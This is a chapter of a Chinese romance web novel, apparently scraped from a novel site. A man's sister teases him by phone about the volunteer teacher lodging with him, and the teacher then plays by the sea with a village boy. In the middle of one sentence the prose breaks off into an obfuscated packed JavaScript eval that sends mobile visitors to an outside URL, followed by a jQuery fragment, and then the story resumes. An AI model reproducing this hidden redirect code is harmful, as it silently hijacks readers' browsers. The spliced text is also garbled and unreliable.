“阿泽,爸问你什么时候回家?”
刑泽淡淡说道:“干什么?”
“老头子想你了呗,他最近喝酒的时候老是念叨你,吵得我烦死了。”
“你别听。”
“......”电话那头的女人顿时怒道:“刑泽!限你五天内回家!不然我就把你地下室的酒全都送给陈嘉东,到时候你就哭去吧!”
“......”
“......怎么回事,”女人声音变得讶异,“这都说不动你了?你那又没什么事,回一趟呗。”
“回不了。”刑泽有些无奈地开口。
“怎么回不了?你放心,老头子不是让你回来和亲的,咱家还没到这种程度。”
“......你能不能少看点电视剧。”
“跟你说话真无聊,好了,为什么回不了?”
刑泽知道她是不刨根问底不罢休的性子,有些头疼地说:“家里住了人。”
“住就住......”女人顿了一下,瞬间提高了一个音量,“哈?男的女的?”
刑泽默了一瞬:“女的。”
电话那头顿时响起一阵叮铃咣啷的声音。
刑泽把手机拿离耳朵,蹙起了眉头。
过了一会儿,一阵窸窸窣窣的动静响起,女人强装冷静的声音传来:“阿泽,爸要和你讲话。”
“......”
刑泽说:“我挂了。”
一道中气十足的男声顿时怒不可遏地响起:“臭小子——你敢挂我电话试试?!”
刑泽顿时皱起眉头,嘴角绷紧。
“人呢?我在和你讲话,声音去哪了?”
“好了好了我来讲,你去喂你的鸟,鸟饿了,快去。”电话那头很快换了人,女人开口道,“阿泽,什么时候把那姑娘带回家看看?”
“......”刑泽语气里带了点无语,喊她名字,“刑恩,真的少看点电视剧,行不行?”
“怎么跟我说话的!叫姐!”刑恩大怒,“那姑娘是谁,老实招来!”
刑泽站在门口,看了眼没有动静的厨房,皱着眉语速飞快回答,“外面来的支教老师,没地方住,在我这借住两个月。行了挂了,我有事。”
刑恩连声喊他:“你给我等等!......老师也不错啊,老师好,你们关系怎么样啊?发展到什么程度了?”
“......”
“我就问问,至少我得知道用不用继续给老头打预防针啊。”电话那头长吁短叹,“为了防止你的突然出柜我真是煞费苦心。”
“......”
性取向被怀疑的刑泽冷冷道:“这个点你为什么有闲心跟我打电话?公司倒闭了?”
“呵,”刑恩轻蔑地笑了一声,“亲爱的弟弟,你猜今天星期几?而且我花钱养着一帮人也不是让他们天天玩过家家的。”
“......”
两人旷日持久的拌嘴日常可以追溯到幼儿园时期,刑泽现在没工夫跟她扯皮,忍着不耐刚想开口,远处突然传来一道响亮的喊声。
“——阿泽哥哥!”
他分出神抬眼看去,石头正一边挥手一边往这边跑过来。
刑恩在电话那头疑惑道:“怎么还有小孩的声音?”
石头很快跑到他面前,气喘吁吁地支着膝盖。
刑泽轻轻吸了口气,把原本不耐的神色压了下去,淡声问:“怎么了?”
“牧、牧老师在不在?”石头喘匀了气,探头往屋内张望,“我妈妈想请牧老师到家里吃饭!”
刑泽微不可察地皱了下眉头,刚想说话,又被电话那头刑恩的大嗓门打断:“牧老师是谁?是不是就是那个姑娘!快,让我和她说说话——”
石头也开始往屋内喊了起来:“牧老师!牧老师你在不在——?”
刑泽:“......”
他头疼得要命,刚想动手把石头的嘴捂住,屋内传来了牧听语的声音。
“是哪个小朋友来找我了呀?”
石头欢欣雀跃地在门口蹦蹦跳跳:“牧老师,我是石头,晚上去我家吃饭吧!”
牧听语洗完手走出门,与拿着手机的刑泽对视了一眼,然后转向石头笑道:“是你想邀请老师去吃饭吗?”
“妈妈喊我来的!”石头伸了下手,似乎想去牵牧听语的手,但又瑟缩了一下,收了回去,“我,我也想老师来!”
牧听语瞧见他的小动作,笑眯眯地蹲下身拉住他脏兮兮的小手:“这是去哪玩了呀?”
石头高兴起来,手指紧紧抓着牧听语的手,兴冲冲地指向海滩的位置:“那边的大石头上!有好多小螺!”
“听起来真好玩,”牧听语站起身,拉起他的手,把他往屋里带,“来吧,老师带你去洗洗手。”
手上传来一股微弱的阻力,她回过头,只见石头扒着门框不肯进,神情有些胆怯地看了刑泽一眼。
“走吧,没事的。”牧听语摸摸他的脑袋,“不要打扰他打电话。”
一句话都还没说的刑泽:“......”
两人很快洗完手从屋内出来,牧听语对着刑泽打了声招呼:“我走啦。”
“等等,”刑泽将手机拿远了一点,皱着眉问,“你要去他家吃晚饭?”
“对啊,人家都邀请我了,干嘛不去?”
刑泽喉咙有些堵:“......那饺子呢?你不是说晚上要吃?”
“又不是非得今晚吃。我刚刚收拾了一下,等吃完饭回来再包吧。”
说着,牧听语瞥了一眼他手里的手机,语气轻快:“把女孩子晾在那里,小心她生气哦。”
“不是,她......”
“好了,”牧听语漂亮的眼睛朝他一弯,笑着说,“我走了。”
“......”
刑泽看着牧听语离去的背影,眉眼间浮着少有的烦躁。
“刑泽,”刑恩的声音从听筒里幽幽地传来,“你绝对有情况......”
没人回应她。
刑恩静了一会儿,又说:“不想她去就说呗。”
刑泽沉默着,然后缓缓吸了口气。
“你这性子和老头太像,什么都不愿意说,人家怎么知道你是怎么想的?要沟通知不知道?”刑恩语重心长地教育他,“而且她刚刚明显是误会了,要记得和她解释。”
“知道。”刑泽捏了捏眉心,“本来就想说。”
“——呵。”刑恩冷笑一声。
“你果然有情况!”
那边传来噔噔噔上楼梯的动静,紧接着她森然的声音传来:“刚刚还想瞒你老姐?你等着吧臭小子!”
刑泽:“......”
等着什么?
没等他问,刑恩啪一声把电话挂了。
周围突然寂静下来,他看着黑掉的手机屏幕,又抬眼看了看那条小路。
阳光倾洒下来,小路上一片光亮,连个人影都没有,只有树叶被风吹过发出簌簌声响。
刚刚不知所踪的小狗突然从角落里蹿了出来,冲到他脚边不停转悠,轻轻汪呜了几声。
刑泽冷眼看了一会儿,弯腰拎起它,盯着那双圆溜溜的眼睛,压着眉眼问:“刚刚干什么去了?”
小狗被提着后脖颈,嘤嘤叫着。
“——不许叫。”刑泽臭着一张脸,“下午没有零食了,等她回来喂你。”
.
牧听语跟着石头一路走一路逛,听他叽叽喳喳讲着平常和小伙伴一起玩水爬礁石的故事。
她听着听着也觉得有些心痒痒,就跟着他来到海边。
海滩上铺着各种大小不一的砾石和粗沙,海浪阵阵打来。
晒干碎裂的贝壳零零星星散落着,翻开大块一点的石头能找到退潮后留下的小螃蟹,深色的岩壁上崎岖不平,摸上去沙沙的有些剌手,仔细看却发现上面趴着大大小小种类不一的海螺。
牧听语看了眼手机,时间还早,于是就和石头一起脱了鞋,脱了袜子,跑到潮水的边缘,等着海浪又一次拍打来。
清凉的海水
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261375|181786||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没过脚面,在海滩上留下深色的痕迹。
她穿的五分裤,不怕裤脚被打湿,于是往前再走了几步。
石头在身后提醒她:“牧老师,不要往里面走。”
“没事啦,牧老师很高的啦,不会被冲走的。”牧听语笑眯眯地说。
她感受着海水渐渐漫延到小腿上,惬意地眯了一下眼睛。
她发现自己是真的喜欢海。
不管海水是湛蓝清澈还是略带浑浊,无论沙滩是细腻或是粗粝,无论海边游客是热热闹闹还是冷冷清清,她都体验过。
她跑遍了大大小小的海边,每次都爱爬上高大的礁石,感受海风所独有的、略微腥咸却满是自由的气息,妄想自己是一只海鸟,被风高高托举而起,然后展翅高飞,迎着热烈的朝阳飞到任何想去的地方。
——她从七岁起就开始这么想了。
海滩上没有任何遮蔽,阳光当头洒下,牧听语眯起眼睛看着远处的天际线,耳边仿佛只剩下海浪的声音,脚不由自主地又往前迈了一步。
“牧老师!”石头有些大声地喊她,“快回来!”
“......”
牧听语恍然回神,猛地发现海水已经堪堪没过大腿,半截裤子都淹在了海面以下。
她回过头,见瘦小的石头站在海滩上,正焦急地看着她。
“我来啦!”牧听语扬起笑容,迈腿往回走,“好像是有点涨潮了哎。”
石头严肃地教育她:“牧老师,不可以往海里走,会被冲走!”
牧听语态度很好地认错:“知道啦,对不起。你真厉害,安全意识好强。”
“爸爸妈妈经常跟我说,我知道。”石头的仰起脑袋看她,“他们说,很早以前村里有个小孩就被冲走了。”
“啊......”牧听语张了下嘴,笑意渐渐淡去。
他们在一块大一点的岩石上坐了下来,她拧了拧裤脚上的水,伸直两条腿,让阳光充分晒到浸湿的裤子。
牧听语问:“你的小伙伴们呢?”
石头双臂支在身后,晃荡着两条瘦弱的小腿:“鹏鹏的妈妈喊他回家了,阿力哥哥带着小时、阿虾还有家飞去后面的山上玩了。”
牧听语转过身看向石头说的那座山,它不高,看上去植被茂密。
她问:“山上有什么好玩的呀?”
“没什么好玩的。”石头撇了撇嘴,“但阿力哥很喜欢去,他总是喜欢带着他们去探险,不过有时候能在山上捉到一些没见过的小虫子。”
牧听语若有所思地点了点头。
他们坐在岩石上晒了一会儿太阳,牧听语等着裤子变干一些,石头就一直坐在她旁边陪着,两人有一搭没一搭地说着话。
牧听语心里有些惊奇。
她第一眼见到石头的时候,觉得他是一个顽皮的小孩子,后面相处过后发现他是个有些害羞的小男孩,而现在,他却展现了这个岁数的孩子所没有的沉稳和安静。
她不知道在哪看到过一个说法。
其实每个人细究起来都很有意思,只是人很少会被其他人仔细看见。
而看见的过程,就是不断了解和亲近的过程。
在旅途中,她总是能遇到形形色色的人,却都是匆匆一瞥。
因为她总是不断在离开、远去,以至于没有空停下仔仔细细地看每个人。
但可能,刑泽是个意外?
她心中刚浮现这个名字,嘴角就弯了起来。
这个人表面看着凶巴巴的,其实内心很细腻,很会照顾人,而且总会用一种别样的方式来体贴关心人。
就是有些时候会太管着她,像对待小孩一样对待她,有时候被她气到了会凶她,气得不行了就会弹她脑门。
除此之外,他是个很好的人。
在此之前,牧听语从没觉得离开一个地方会让自己有多不舍。
可当她突然意识到自己一个多月后就要离开的时候,却罕见地生出了丝丝缕缕复杂的情绪。
明明才认识了不久,真是奇怪。